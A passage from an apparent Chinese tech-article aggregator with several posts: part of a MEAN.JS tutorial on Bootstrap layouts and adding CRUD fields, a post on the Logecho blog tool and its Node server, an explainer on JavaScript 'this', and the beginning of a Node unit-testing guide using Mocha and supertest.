        <button class="navbar-toggle" type="button" data-ng-click="toggleCollapsibleMenu()">
            <span class="sr-only">Toggle navigation</span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
        </button>
        <a href="/#!/" class="navbar-brand">HTML5 Denver</a>
    </div>

    <!-- ...snip... -->
</div>



要验证所做的修改，请在命令行输入 mongod 启动 MongoDB，然后输入 grunt 启动应用程序。在浏览器中查看 Web 应用程序，看看标记是否显示在菜单和标题栏中。


要完成标记修改，需要替换 public/modules/core/views/home.client.view.html中的标准文本（boilerplate），该文本显示在主页的正文中。创建一个名为 home.client.view.html.original的副本，这样就可以在稍后往回引用（如果需要的话）。


该文件利用 Bootstrap框架的功能，确保您的网站从一开始就面向移动应用。在继续之前，需要了解 Bootstrap 提供的 12 列的网格布局。


了解 Bootstrap 和响应式 Web 设计


查看任意硬拷贝新闻或杂志，您都会看到其中使用了列。有时，一副图片或标题因为某种设计风格而需跨越多个列，但是一个基本的柱状布局构成了几乎所有打印页面的基础。


Web 页面也是如此。例如，访问 TIME网站。您看到它的布局也是基于列的。但是，当您将浏览器窗口的宽度从全屏缩小到非常窄的时候，注意会发生什么。可见列的数量将随着窗口变小而减少，并随着窗口增大而增多。


这种效应被称为 响应式Web 设计，因为 Web 页面会 响应 并调整设计来适应设备所要求的屏幕尺寸。现代 Web开发人员构建的网站可以无缝地支持从最小的手持设备到拥有最大屏幕的台式机或壁挂屏幕等各种设备。分别使用 http://m.* 和http://www.* URL 为智能手机、平板电脑、笔记本等创建专门的、离散的网站，这种做法早已过时。


响应式 Web 设计 并不是 一个全能的解决方案；相反，它是“一个外观要求可以适应所有设备的网站”。您不需要选择用户访问网站所使用的设备类型，因此您的设计具备内置的灵活性，可以相应地进行自我调整。


许多流行网站（包括 Facebook 和 Instagram）更多地是通过移动设备而不是传统计算机来进行访问的。Twitter的用户群绝大多数是移动用户。Twitter 规范了其响应式 Web 设计策略并实现了与 Bootstrap 相同的开源化。Bootstrap 有12 列的布局，可以根据您用来定义列的 CSS 类进行缩小或放大。


请注意，MEAN.JS 应用程序中对 MongoDB、Express、AngularJS 和 Node.js 使用了四个列的布局，如图 1 所示。


图 1.  Bootstrap 的列布局示例





现在查看 public/modules/core/views/home.client.view.html 中的源代码，如清单 4 所示，看看Bootstrap 的 12 列布局是什么样子的。


清单 4. public/modules/core/views/home.client.view.html


<div class="row">
    <div class="col-md-3">
        <h2><strong>M</strong>ongoDB</h2>
    </div>
    <div class="col-md-3">
        <h2><strong>E</strong>xpress</h2>
    </div>
    <div class="col-md-3">
        <h2><strong>A</strong>ngularJS</h2>
    </div>
    <div class="col-md-3">
        <h2><strong>N</strong>ode.js</h2>
    </div>
</div>



如果您向一个父 div 添加 class="row"，那么您可以向子div 添加 class="col-_xx_-_N_"属性来将它们分成几个列。_N_ 值必须介于 1 和 12之间，_xx_ 值取决于您希望优化布局的设备的尺寸：



	
xs 适用于极小设备（低于 768 像素宽）

	
sm 用于小型设备（768 和 991 像素之间）

	
md 适合中型设备（992 和 1,199 像素之间）

	
lg 适合大型设备（1,200 像素或更高）



查看 Bootstrap CSS 文档的 网格系统小节，了解有关的更多信息。


由于清单 4 中的每个列针对中型（md）设备进行了优化，因此如果在屏幕宽度低于 992 像素的设备上访问该页面，列将垂直堆叠而不是水平堆叠。将您的浏览器窗口变得足够窄来触发这一更改，如图 2 所示。


图 2. 移动设备上的响应式 Web 设计示例





现在，可以使用我们已经需到的知识，使用特定于 UGLI 的文本替换 home.client.view.html 中的标准文本。


首先，从 W3C HTML5 徽标页面 下载256 像素的 HTML5 徽标，并将其复制到public/modules/core/img/brand/HTML5_Logo_256.png。然后使用清单 5 中的源代码替换public/modules/core/views/home.client.view.html 中现有的 HTML。


清单 5. public/modules/core/views/home.client.view.html


<section data-ng-controller="HomeController">
    <div class="jumbotron text-center">
        <div class="row">
            <div class="col-md-4">
                <img alt="HTML5" class="img-responsive center-block" 
                src="modules/core/img/brand/HTML5_Logo_256.png" />
            </div>
            <div class="col-md-8">
                <h1>The HTML story is still being written.</h1> 
                <h2><em>Come hear the latest chapter at the HTML5 Denver User Group.</em></h2>
            </div>
        </div>
    </div>
</section>



在较宽的浏览器窗口中查看网站时，HTML5 徽标会出现在文本旁边，如图 3 所示。


图 3. 新的 UGLI 主页





当您将浏览器窗口变得足够窄时，徽标会出现在文本的上方，如图 4 所示。


图 4. 新的 UGLI 主页，它会出现在移动设备上





使用 Bootstrap 可以轻松地让您的网站对移动应用程序变得更友好，我在为客户构建每个新网站时都使用 Bootstrap 作为基础技术。


现在我们将要在 MEAN 堆栈中处理 CRUD。


基础 CRUD


Meetup.com 可以帮助我很好地管理用户组活动。但是，在某个活动结束后，就时间方面而言，该活动的重要性不如当天晚上的谈话。


换句话说，这个网站的一个用户用例就是：“下次会议要讨论什么？”Meetup.com 可以很好地满足这种用户用例。


第二个用户用例（“向我显示与 MEAN 堆栈有关的所有谈话，不管是什么时候发生的” ）正是我准备通过 UGLI应用程序解决的用例。要实现这个用例，必须围绕一个新的名为 Talk 的模型对象创建一个 CRUD

基础架构。幸运的是，可以使用一个 Yeoman 生成器来实现这个基础架构。


在应用程序的根目录，输入 yo meanjs:crud-module talks。响应提示：



	选择所有四个补充文件夹（css、img、directives 和 filters）。

	回答 Yes，将 CRUD 模块链接添加到菜单。3.  当生成器询问要使用哪个菜单时，接受默认设置（topbar）。



清单 6 显示了交互式命令行序列。


清单 6. 使用 Yeoman 生成器生成一个新的 CRUD


模块


$ yo meanjs:crud-module talks
[?] Which supplemental folders would you like to include in your angular module? 
css, img, directives, filters
[?] Would you like to add the CRUD module links to a menu? Yes
[?] What is your menu identifier? topbar
   create app/controllers/talks.server.controller.js
   create app/models/talk.server.model.js
   create app/routes/talks.server.routes.js
   create app/tests/talk.server.model.test.js
   create public/modules/talks/config/talks.client.routes.js
   create public/modules/talks/controllers/talks.client.controller.js
   create public/modules/talks/services/talks.client.service.js
   create public/modules/talks/tests/talks.client.controller.test.js
   create public/modules/talks/config/talks.client.config.js
   create public/modules/talks/views/create-talk.client.view.html
   create public/modules/talks/views/edit-talk.client.view.html
   create public/modules/talks/views/list-talks.client.view.html
   create public/modules/talks/views/view-talk.client.view.html
   create public/modules/talks/talks.client.module.js



在清单 6 中，请注意，生成器创建了服务器端基础架构（保存在 app 目录中）：路由、一个控制器、一个模型和一个单元测试。它还在public/modules/talks 目录下构建了所有客户端工件。


您稍后将向 Talk 对象添加一些自定义字段。在此之前，在浏览器中访问网站，查看默认情况下会得到哪些内容。


单击右上角的 Signin 链接，输入本系列早些时候创建的用户名和密码，或者单击Signup 并创建一组新的凭证。


完成登录后，可以在左上角看到一个 Talks 菜单。从菜单中选择 New Talk打开一个 HTML 表单，其中提供了一个独立的 Name 字段，如图 5 所示。


图 5.  自定义之前的 New Talk 表单





这是一个良好的开端，但是要捕捉 Talk 的所有属性，您需要的不仅仅是一个简单文本。


添加新字段实现持久性


要向 Talk 添加新字段，必须编辑 6 个文件 — 四个用于显示，两个用于持久性：



	app/models/talk.server.model.js

	public/modules/controllers/talks.client.controller.js

	public/modules/talks/views/create-talk.client.view.html

	public/modules/talks/views/edit-talk.client.view.html

	public/modules/talks/views/view-talk.client.view.html

	public/modules/talks/views/list-talks.client.view.html



首先要处理持久性。解决方案一半用在服务器端，另一半用在客户端。


服务器端模型（在 app/models/talk.server.model.js中定义）是应用程序的原型。您将在其中命名字段，提供数据类型，验证规则等等。


客户端控制器（在 public/modules/controllers/talks.client.controller.js中定义）收集来自用户的数据输入，并通过 HTTP 请求将数据推到服务器。控制器还通过连接获得 JSON 数据，并提供给视图以用于演示。


此架构的一个有趣之处是对象模型永远不会离开服务器。对象是来自客户机的数据的具体化实现，并在 HTTP 响应中序列化到 JSON。


该应用程序有两个控制器（一个位于服务器端，另一个位于客户端），但是我们只关心客户端控制器。服务器端控制器只是将进入的 JSON推入到模型对象。因此在向模型添加额外字段时不需要对服务器端控制器做任何调整。客户端控制器要进行一些调整来容纳新的字段。


打开 app/models/talk.server.model.js，向服务器端模型添加新的字段，如清单 7 所示。您可以看到展开的
name 字段（如 图 5

所示），同时还定义了两个元数据字段：created 和 user。


清单 7. app/models/talk.server.model.js


/**
 * Talk Schema
 */
var TalkSchema = new Schema({
    name: {
        type: String,
        default: '',
        required: 'Please fill Talk name',
        trim: true
    },
    created: {
        type: Date,
        default: Date.now
    },
    user: {
        type: Schema.ObjectId,
        ref: 'User'
    }
});



这个基于 JSON 的模式无需多加解释。在定义新字段时，您可以指定数据类型、默认值和错误消息，以显示给必要的字段。您还可以做出许多其他优化。查看 Mongoosedocumentation，获得有关的更多信息。


对 description、presenter 和 slidesUrl添加新字段，如清单 8 所示。在本例中，description 和 presenter都是必要字段。slidesUrl 字段是可选字段。


清单 8. app/models/talk.server.model.js


/**
 * Talk Schema
 */
var TalkSchema = new Schema({
    name: {

        type: String,
        default: '',
        required: 'Please fill Talk name',
        trim: true
    },
    description: {
        type: String,
        default: '',
        required: 'Please fill Talk description',
        trim: true
    },  
    presenter: {
        type: String,
        default: '',
        required: 'Please fill Talk presenter',
        trim: true
    },
    slidesUrl: {
        type: String,
        default: '',
        trim: true
    },
    created: {
        type: Date,
        default: Date.now
    },
    user: {
        type: Schema.ObjectId,
        ref: 'User'
    }
});



此时，您的服务器端后端已经准备好接收新字段。现在您需要处理客户端控制器。打开public/modules/controllers/talks.client.controller.js，添加新的字段，如清单 9 所示。


清单 9. public/modules/controllers/talks.client.controller.js


// Create new Talk
$scope.create = function() {
    // Create new Talk object
    var talk = new Talks ({
        name: this.name,
        description: this.description,
        presenter: this.presenter,
        slidesUrl: this.slidesUrl
    });

    // Redirect after save
    talk.$save(function(response) {
        $location.path('talks/' + response._id);
    }, function(errorResponse) {
        $scope.error = errorResponse.data.message;
    });

    // Clear form fields
    this.name = '';
    this.description = '';
    this.presenter = '';
    this.slidesUrl = '';
};



在 $scope.create 函数中，表格字段将被聚集到一个 JSON对象，并被发送给服务器，以便实现持久存储。从模型向控制器添加相应的字段后，您就实现了持久存储。


现在我们要将注意力转移到演示层，这样用户就可以查看新字段并进行交互。


添加新字段以进行显示


查看 public/modules/talks/views/。有四个字段与 CRUD 生命周期有关：



	create-talk.client.view.html

	edit-talk.client.view.html

	view-talk.client.view.html

	list-talks.client.view.html



打开 create-talk.client.view.html，如清单 10 所示。


清单 10. 生成的


<section data-ng-controller="TalksController">
  <div class="page-header">
    <h1>New Talk</h1>
  </div>
  <div class="col-md-12">
    <form class="form-horizontal" data-ng-submit="create()" novalidate>
      <fieldset>
        <div class="form-group">
          <label class="control-label" for="name">Name</label>
          <div class="controls">
            <input type="text" data-ng-model="name" id="name" class="form-control" 
            placeholder="Name" required>
          </div>
        </div>
        <div class="form-group">
          <input type="submit" class="btn btn-default">
        </div>
        <div data-ng-show="error" class="text-danger">
          <strong data-ng-bind="error"></strong>
        </div>
      </fieldset>
    </form>
  </div>
</section>



将与 Name 有关的代码块复制三次，以便支持Description、Presenter 和slidesUrl，如清单 11 所示。我将 Description 字段设置为textarea，而不是一个简单的文本字段。同样，我从 slidesUrl 字段移除了required 属性，并将 input type 从 text修改为 url。


清单 11. 更新


create-talk.client.view.html


<section data-ng-controller="TalksController">
  <div class="page-header">
    <h1>New Talk</h1>
  </div>
  <div class="col-md-12">
    <form class="form-horizontal" data-ng-submit="create()" novalidate>
      <fieldset>
        <div class="form-group">
          <label class="control-label" for="name">Name</label>
          <div class="controls">
            <input type="text" data-ng-model="name" id="name" class="form-control" 
            placeholder="Name" required>
          </div>
        </div>
        <div class="form-group">
          <label class="control-label" for="description">Description</label>
          <div class="controls">
            <textarea data-ng-model="description" id="description" class="form-control" 
            placeholder="Description" required></textarea>
          </div>
        </div>
        <div class="form-group">
          <label class="control-label" for="presenter">Presenter</label>
          <div class="controls">
            <input type="text" data-ng-model="presenter" id="presenter" class="form-control" 
            placeholder="Presenter" required>
          </div>
        </div>
        <div class="form-group">
          <label class="control-label" for="slidesUrl">Slides</label>
          <div class="controls">
            <input type="url" data-ng-model="slidesUrl" id="slidesUrl" class="form-control" 
            placeholder="Slides Url">
          </div>
        </div>                        
        <div class="form-group">
          <input type="submit" class="btn btn-default">
        </div>
        <div data-ng-show="error" class="text-danger">
          <strong data-ng-bind="error"></strong>
        </div>
      </fieldset>
    </form>
  </div>
</section>



在 Web 浏览器中，您新修改的 New Talk 页面应当类似图 6 所示。


图 6.  自定义后的 New Talk 表单





如果对所做的更改感到满意，请打开 edit-talk.client.view.html 并执行相应的更改，如清单 12 所示。


清单 12. edit-talk.client.view.html


<div class="col-md-12">
    <form class="form-horizontal" data-ng-submit="update()" novalidate>
      <fieldset>
        <div class="form-group">
          <label class="control-label" for="name">Name</label>
          <div class="controls">
            <input type="text" data-ng-model="talk.name" id="name" class="form-control" 
            placeholder="Name" required>
          </div>
        </div>
        <div class="form-group">
          <label class="control-label" for="description">Description</label>
          <div class="controls">
            <textarea data-ng-model="talk.description" id="description" class="form-control" 
            placeholder="Description" required></textarea>
          </div>
        </div>
        <div class="form-group">
          <label class="control-label" for="presenter">Presenter</label>
          <div class="controls">
            <input type="text" data-ng-model="talk.presenter" id="name" class="form-control" 
            placeholder="Presenter" required>
          </div>
        </div>
        <div class="form-group">
          <label class="control-label" for="slidesUrl">Slides</label>
          <div class="controls">
            <input type="url" data-ng-model="talk.slidesUrl" id="name" class="form-control" 
            placeholder="Slides Url">
          </div>
        </div>
        <div class="form-group">
          <input type="submit" value="Update" class="btn btn-default">
        </div>
        <div data-ng-show="error" class="text-danger">
          <strong data-ng-bind="error"></strong>
        </div>
      </fieldset>
    </form>
</div>



请注意，用于编辑的 HTML 与之前修改的创建表单稍微有些不同。在编辑时，您已经有了一个 Talk 对象，因此data-ng-model 属性将以完全限定的方式引用字段，比如用 talk.name 而不是
name。在 Web 浏览器中查看修改，如图 7 所示。


图 7.  自定义后的 Edit Talk 表单





view-talk.client.view.html 页面是对象的只读视图。用户在保存新的 Talk，更新现有的Talk 或从列表页面中选择 Talk 后将来到该视图。如清单 13 所示做出修改。


清单 13. edit-talk.client.view.html


<div class="page-header">
  <h1 data-ng-bind="talk.name"></h1>
  <h2><em>by {{talk.presenter}} 
    <span ng-if="talk.slidesUrl !== '' ">[<a href="{{talk.slidesUrl}}">slides</a>]</span></em></h2>
  <p>{{talk.description}}</p>              
</div>



前面提到 slidesUrl 是可选字段。在视图页面中，您将使用 ng-if指令有条件地显示字段（如果已填充）。在浏览器中查看页面，检查这一行为，如图 8 所示。


图 8. 自定义后的 View Talk 表单





List 视图是最后一个需要做出调整的视图。打开 list-talks.client.view.html 并如清单 14 所示进行修改。


清单 14. list-talks.client.view.html


<div class="list-group">
    <a data-ng-repeat="talk in talks" data-ng-href="#!/talks/{{talk._id}}" class="list-group-item">
    <h4 class="list-group-item-heading" data-ng-bind="talk.name"></h4>
        <p><em>by {{talk.presenter}}</em></p>
    </a>
</div>



请注意，这里使用 data-ng-repeat 指令显示了服务器返回的 talk 列表中的每个talk。在浏览器中查看结果，如图 9 所示。


图 9. 自定义后的 List Talks 表单





结束语


此时，您已经了解了 MEAN 堆栈交互的各个方面。您使用 Bootstrap 的响应式 Web 设计功能确保您的网站能够适应所有设备，而不仅限于传统的有 101 个键和鼠标的传统台式机。您已经领略了使用 Yeoman 生成器向应用程序添加新 CRUD模块的强大之处及其便利性。该生成器将原始工件放到正确的目录中，您只需要对它们进行自定义即可。


下载


范例代码：wa-mean3src.zip


原文出处：精通 MEAN: 使用 MEAN 和 UGLI CRUD 实现响应式 Web 设计


 一些关于Logecho的新动态

作者：joyqi

来源： 一些关于Logecho的新动态



                    
原文地址：http://www.l4zy.com/posts/news-about-logecho.html

好久没有更新 Logecho 了，最近把它狠狠地更新了一次。

关于 Logecho 的基本介绍，大家可以去看我之前写的一篇文章。目前你看到的这个站点也是用 Logecho 搭建的。相比于 Typecho 我个人还比较习惯于使用这类静态博客工具来发布我的文章，因为我已经习惯于在编辑器里来写各类文字，感觉也很舒服。



<!--more-->

但是各类静态博客工具的部署很麻烦，要不然需要你自己去配置一台http服务器。或者放到github这类的网站上，还需要你熟悉git命令。对于一个懒人来讲，我是无法容忍这些繁冗的动作的。于是，我对 Logecho做 了一些调整，让你我可以舒心的撰写文字，不必再去搞那些幺蛾子。

Logecho现在的安装步骤

首先最大的优化就是我让 Logecho 支持了composer，所以你不需要再去手动配置代码即可随时使用或者更新这一工具了。如果你已经安装过了composer并且配置好了的话，可以直接跳到第三步。

第一步，安装composer

安装起来非常简单，如果你没有安装composer，在macosx下可以用brew安装

brew install composer

第二步，配置composer的bin目录

然后我们需要把composer的bin路径加入到系统路径里，在Linux或者OSX上打开bash配置文件（应该是~/.bashrc或者~/.bash_profile之类，不同的系统各不相同），加入

export PATH="$PATH:~/.composer/vendor/bin"

加入完以后记得source一下配置文件，或者重新启动一个会话让配置生效

如果是Windows系统，需要到系统变量里把这个路径加到Path变量里，一般是C:\Users\<COMPUTER NAME>\AppData\Roaming\Composer\vendor\bin，你也可以参考这里



在各大Linux下的官方源里也已经集成进去了，直接安装就行。其它操作系统参考官方文档。

第三步，安装Logecho

安装完composer后，再安装Logecho即可

composer global require joyqi/logecho:*

好了，所有的步骤都已完成，你可以直接在命令行下输入logecho命令来使用这一工具了。具体使用方法参考我写的前一篇介绍，如果你想升级直接执行上方的命令即可。

Logecho Simple Server

好了，上面只是对一些历史问题的纠正，这让你使用起来更加方便，但是真正称为杀手级应用的是标题中所说的“Logecho Simple Server”。

特点

这也是我刚刚写的一个小的 node.js 程序，它是除了是一个迷你的web服务器以外，还具有如下特点

一个完整的服务器

是的，虽然它很小，但是它的的确确是一个完整的服务器，你可以放心地把它部署到生产环境中而不需要其它服务器软件的辅助。当然如果你服务器还运行了其它诸如 nginx，apache 之类的服务器，你也可以把它放到后端，然后做一个反向代理。

部署方便

安装只需要一行命令（前提是你地服务器上已经安装了 node.js 环境）

npm install -g logecho-simple-server

没有配置文件

是的，我个人很讨厌配置文件。既然这个服务器名字里带了一个Simple，那么就不应该有配置文件这么复杂的东西存在。所以所有的配置都通过参数完成，而且它的参数也不多，大多数工作它都替你智能完成了。

速度快

这个服务器不需要任何文件系统的支持，因为所有的数据都存储在内存中。你可能担心那内存不是要被撑爆了，其实不会。因为这个它是设计给单人使用的，这就决定了它的容量不会很大，根据我们的测算一个人的数据大概也就在几兆到几十兆之间，这是完全可以接受的。

而它带来的好处是巨大的，首先是速度快，没有任何磁盘 IO 让它可以以非常快的速度响应，并且支撑相当恐怖的访问量。其次，你可以把它部署在任何支持 node.js 的云服务上，而不用担心它的数据如何存储。

针对 http 协议，我也做了优化，所有的资源文件都会设置缓存的http header。并且根据客户端的支持情况，以压缩的方式发送出去。

专门为 Logecho 设计

是的，这才是重点。一款专门为 Logecho 设计的服务器，想要同步文件只需要打开本地博客目录中的config.yaml文件，找到sync:这一行，把它改为如下这种

sync: http://xxxxxxxxxxxxxxxxx@your-domain.com

其中xxxxxxxxxxxxxxxxx是密钥，用来验证你是否是这台服务器的主人，服务端和客户端的要一致。配置正确以后，每次想同步的时候执行一下命令即可

logecho sync blog-dir/

使用

用上面所说的一行命令，在你的服务器上安装好以后，就可以很方便的来使用了。装好后你的服务器上会多一个名为 logechod 的命令，我们就用它来启动服务。

$ logechod
2015-03-24T14:26:35.492Z - info: The secure key is: 2369097d-c761-4fbb-93a1-d375e7cea5fa
2015-03-24T14:26:35.493Z - info: Listening on 0.0.0.0:80

如果你没有运行其它的http服务的话，直接运行这个命令，服务器就会启动了。你会看到上面的信息，比如它会告诉你监听地址，以及密钥。这个密钥是随机生成的，每次运行都会不一样，如果你想固定的话可以使用-k参数手动指定。

这个时候在浏览器里访问你的服务器，会看到如下画面



这是因为你还没有往服务器里同步任何数据，用上面的同步命令同步以后就可以看到内容了。下面是一些常用参数


	-k 指定密钥，如不指定则会随机生成


	-h 指定监听地址，如127.0.0.1，默认0.0.0.0


	-p 指定监听端口，默认 80


	--prefer-host= 指定最佳域名，服务器会默认把不属于这个域名的请求跳转到指定域名上


	--ip-address= 指定获取客户端ip的header头，如果不指定服务器会把连接的ip作为地址，但是如果你把服务器放在某些反向代理的后面，那就需要传递一个header头过来告诉它真正的ip地址是多少


	--http-to-https= 只有当启用https访问的时候才会生效，监听一个指定的http端口，从而将http的访问请求重定向到https上


	--https-key= https的密钥


	--https-cert= https的证书


	--perform-resource=yes 是否开启资源优化模式，默认开启。




关于资源优化模式

这是一个很好用的功能，所以我默认把它开启了。它会深度分析你的所有资源文件，首先计算它们各自的hash值，并建立索引。然后再找出它们之间的引用关系，最后利用上面索引过的hash值给他们的url后面加上戳记，什么意思呢？比如下面的html文件

<!DOCTYPE html>
<head>
    <link rel="stylesheet" href="/public/style.css">

服务器会找到/public/style.css这个文件并获取它的hash值，然后再将它标记回原来的html文件中

<!DOCTYPE html>
<head>
    <link rel="stylesheet" href="/public/style.css?h=3edf78062f814108a95ab9e4587c471f">

这样有什么用呢？上面说过，服务器会自动给所有的资源文件都加上缓存的http header，如果是以前的写法，下次你改变了这个文件，浏览器还是会从缓存文件中去取。因为它的url没有改变，但如果按上述方法处理，每次修改都必然带来hash值的改变，那么浏览器就会强行更新这个文件的缓存了。

目前资源优化模式会对html和css文件起作用。

写在最后

这个系统肯定还有很多 bug 未解决，欢迎大家跟我探讨。另外这个系统是使用英文书写，由于水平有限，很多用词都属于Chinglish，欢迎有这方面基础的童鞋来提交pull request帮忙完善。


  关于 this 的四类用法

作者：gecko23

来源：  关于 this 的四类用法



                    
this


在函数执行时，this 总是指向调用该函数的对象。要判断 this 的指向，其实就是判断 this 所在的函数属于谁。


在《javaScript语言精粹》这本书中，把 this 出现的场景分为四类，简单的说就是：



	有对象就指向调用对象

	没调用对象就指向全局对象

	用new构造就指向新对象

	通过 apply 或 call 或 bind 来改变 this 的所指。



1) 函数有所属对象时：指向所属对象


函数有所属对象时，通常通过 . 表达式调用，这时 this 自然指向所属对象。比如下面的例子：


jsvar myObject = {value: 100};
myObject.getValue = function () {
  console.log(this.value);  // 输出 100

  // 输出 { value: 100, getValue: [Function] }，
  // 其实就是 myObject 对象本身
  console.log(this);

  return this.value;
};

console.log(myObject.getValue()); // => 100



getValue() 属于对象 myObject，并由 myOjbect 进行 . 调用，因此 this 指向对象 myObject。


2) 函数没有所属对象：指向全局对象


jsvar myObject = {value: 100};
myObject.getValue = function () {
  var foo = function () {
    console.log(this.value) // => undefined
    console.log(this);// 输出全局对象 global
  };

  foo();

  return this.value;
};

console.log(myObject.getValue()); // => 100



在上述代码块中，foo 函数虽然定义在 getValue 的函数体内，但实际上它既不属于 getValue 也不属于 myObject。foo 并没有被绑定在任何对象上，所以当调用时，它的 this 指针指向了全局对象 global。


据说这是个设计错误。


3) 构造器中的 this：指向新对象


js 中，我们通过 new 关键词来调用构造函数，此时 this 会绑定在该新对象上。


js
var SomeClass = function(){
  this.value = 100;
}

var myCreate = new SomeClass();

console.log(myCreate.value); // 输出100



顺便说一句，在 js 中，构造函数、普通函数、对象方法、闭包，这四者没有明确界线。界线都在人的心中。


4) apply 和 call 调用以及 bind 绑定：指向绑定的对象


apply() 方法接受两个参数第一个是函数运行的作用域，另外一个是一个参数数组(arguments)。


call() 方法第一个参数的意义与 apply() 方法相同，只是其他的参数需要一个个列举出来。


简单来说，call 的方式更接近我们平时调用函数，而 apply 需要我们传递 Array 形式的数组给它。它们是可以互相转换的。


jsvar myObject = {value: 100};

var foo = function(){
  console.log(this);
};

foo(); // 全局变量 global
foo.apply(myObject); // { value: 100 }
foo.call(myObject); // { value: 100 }

var newFoo = foo.bind(myObject);
newFoo(); // { value: 100 }



 Nodejs单元测试小结

作者：yuanzm

来源： Nodejs单元测试小结



                    
前言


最近在写一课程的Project,用Node写了一个实时聊天小应用，其中就用到了单元测试。在写Node单元测试的时候，一方面感受到了单元测试的重要性，另一方面感受到了Node单元测试的不够成熟，尚未有成熟的理论体系，所以想写篇博客探讨一下Node里面单元测试的方法。示例代码部署在Github上面，地址是：https://github.com/blogdemos/node-test-demo，欢迎fork~


单元测试简介


根据维基百科的定义：



  在计算机编程中，单元测试（又称为模块测试, Unit Testing）是针对程序模块（软件设计的最小单位）来进行正确性检验的测试工作。程序单元是应用的最小可测试部件。在过程化编程中，一个单元就是单个程序、函数、过程等；对于面向对象编程，最小单元就是方法，包括基类（超类）、抽象类、或者派生类（子类）中的方法。




JavaScript是面向对象编程的，很多时候我们都需要将一个功能掉抽象成一个组件，方便团队其他开发者调用，那么我们就理应保证我们给出的组件是正确可用的。在很长的一段时间里，前端都忽略了单元测试，或者说对于前端这种GUI编程来说，单元测试确实比较麻烦。随着Node的异军突起，针对JavaScript的单元测试框架如雨后春笋，前端也逐渐玩起了单元测试。


单元测试的重要性是不言而喻的，经常存在的一个误区是：



	单元测试不是测试人员的事情么？

	自己为什么要测试自己的代码？

	单元测试的成本这么高对于产品开发有意义么？

	我这么牛我不需要单元测试！



上面的几点也是我之前怀疑过的，但是觉得现在每一点都是不容置疑的。首先，认为测试是测试人员的事情是不负责的，测试人员更多的应该是针对整体功能，而每一位工程师应该保证自己代码的准确性；其次自己测试自己的代码更多的时候是为了提高效率。如果我写好了一个接口，没有经过测试就直接交给了别人，那么出错之后就需要接着调试，其中所花费的沟通成本会大大大于编码成本，这也顺带解决了第三个疑问；最后，在Github上面所有star过万的repo都应该有自己的测试，我相信这些repo的作者比大部分人都牛，他们都需要不断测试，我们没有理由不去测试。


单元测试的分类


单元测试根据主流的分类可以分成两类，分别是BDD和TDD


TDD


TDD的英文全称是Test-Driven Development，即测试驱动开发。测试驱动开发的流程是

- 开发人员写了一些测试代码

- 开发人员跑了这些测试用例，然后毫无疑问的这些测试用例失败了因为测试中提到的类和方法并没有实现

- 开发人员开始实现测试用例里面提到的方法

- 如果开发者写好了某个功能点，他会欣喜地发现之前的相对应的测试用例通过了

- 开发者人员可以重构代码，并添加注释，完成后期工作

这个流程如下图：



BDD


BDD的英文全称是Behavior-Driven Development，即行为驱动开发。

BDD与TDD的主要区别是在写测试案例的时候的措辞，BDD的测试案例更像是一份说明书，在详细描述软件的每一个功能。个人比较喜欢BDD，后续的Demo也是BDD形式的。


关于BDD和TDD的差别可以看看这篇文章： The Difference Between TDD and BDD


mocha框架简介


说到JavaScript的测试框架，就不得不提起大名鼎鼎的TJ Holowaychuk写的Mocha了。


简介



  Mocha是一个基于node.js和浏览器的集合各种特性的Javascript测试框架，并且可以让异步测试也变的简单和有趣。Mocha的测试是连续的，在正确的测试条件中遇到未捕获的异常时，会给出灵活且准确的报告。




安装使用


npm install -g mocha



$ npm install -g mocha
$ mkdir test
$ $EDITOR test/test.js

var assert = require("assert");
describe('Array', function() {
    describe('#indexOf()', function() {
        it('should return -1 when the value is not present', function() {
            assert.equal(-1, [1,2,3].indexOf(5));
            assert.equal(-1, [1,2,3].indexOf(0));
        });
    });
});

$  mocha

.

✔ 1 test complete (1ms)



辅助工具


为了顺利进行单元测试，通常都是组合几种工具来使用的，这里介绍常用的几种。


should.js


should 是一个表述性、可读性很强的测试无关的“断言”库。它是BDD风格的，用一个单例的不可枚举的属性访问器扩展了Object的prototype，允许你表述对象应该展示的行为。

node本身有自己的断言模块，但是should所具有的表述性和可读性让开发者没有理由拒绝这么棒的工具。

常用的断言库还有Chai和expectjs，这里不再多说


supertest


在用Node做Web开发的时候，模拟HTTP请求时必不可少的，如果都需要用浏览器来实现请求，那就太Low了！

supertest是一个非常棒的适用于node的模拟HTTP请求的库，有点拗口，但是看看dmeo就会米桑她优雅的链式写法


var request = require('supertest')
  , express = require('express');

var app = express();

app.get('/user', function(req, res){
  res.send(200, { name: 'tobi' });
});

request(app)
  .get('/user')
  .expect('Content-Type', /json/)
  .expect('Content-Length', '20')
  .expect(200)
  .end(function(err, res){
    if (err) throw err;
  });



代码示例


为了能够展示测试的核心点，又能具有实战性，我们写一个非常简单的demo，这个demo有两个主要功能-注册登录和发布简单的话题

示例代码托管在Github上面，地址是：https://github.com/blogdemos/node-test-demo.git


简介


示例代码采用nodejs的express框架写了一个非常简单的只有后台的项目。为了demo应有的简介特性，省去了很多应当有的逻辑，力求展示测试过程中应当注意的点。


目录介绍


.
├── controllers                    // 控制层
|   ├── site.js                    // 注册登录控制
|   └── topic.js                   // 话题控制
├── models                         // 数据模型
|   ├── index.js                   // 出口文件
|   ├── topic.js                   // 话题模型
|   └── user.js                    // 用户模型
├── proxy                          // 数据控制层
|   ├── topic.js                   // 话题数据控制
|   └── user.js                    // 用户数据控制
├── tests                          // 单元测试
|   ├── support/support.js         // 模拟数据
|   ├── user.test.js               // 注册登录控制测试
|   └── topic.test.js              // 话题控制测试
├── app.js                         // 项目主文件
├── consig.js                      // 项目配置文件
├── package.json                   // 包文件
└── router.js                      // 路由配置



要点


1. 异步操作的测试


异步无阻塞I/O是Node的灵魂所在，因为用node开发的应用程序处处体现着异步的用法。在编写测试案例的时候，我们的测试代码怎么才能知道测试结果出来了呢？


强大的Mocha自然会考虑到这一点。只需要在你的测试结束时调用回调函数即可。通过给it()添加回调函数（通常命名为done）可以告知Mocha需要等待异步测试结束。这里直接调用官网的例子：


describe('User', function() {
    describe('#save()', function() {
        it('should save without error', function(done) {
            var user = new User('Luna');
            user.save(done);
        });
    });
});



2. 具备正反测试用例


测试的一个重要环节就是要提高测试覆盖率。话句话说，你在写代码的时候考虑到的异常情况，在写测试案例的时候也应该考虑在内，也就是所谓的正反测试案例。

举个例子


    describe('sign up', function() {
        it('should not sign up an user when loginname is empty', function(done) {
            request.post('/signup')
            .send({
                loginname: '',
                password: password
            })
            .expect(200, function(err, res) {
                should.not.exist(err);
                res.text.should.containEql('用户名或密码不能为空');
                done();
            });
        });
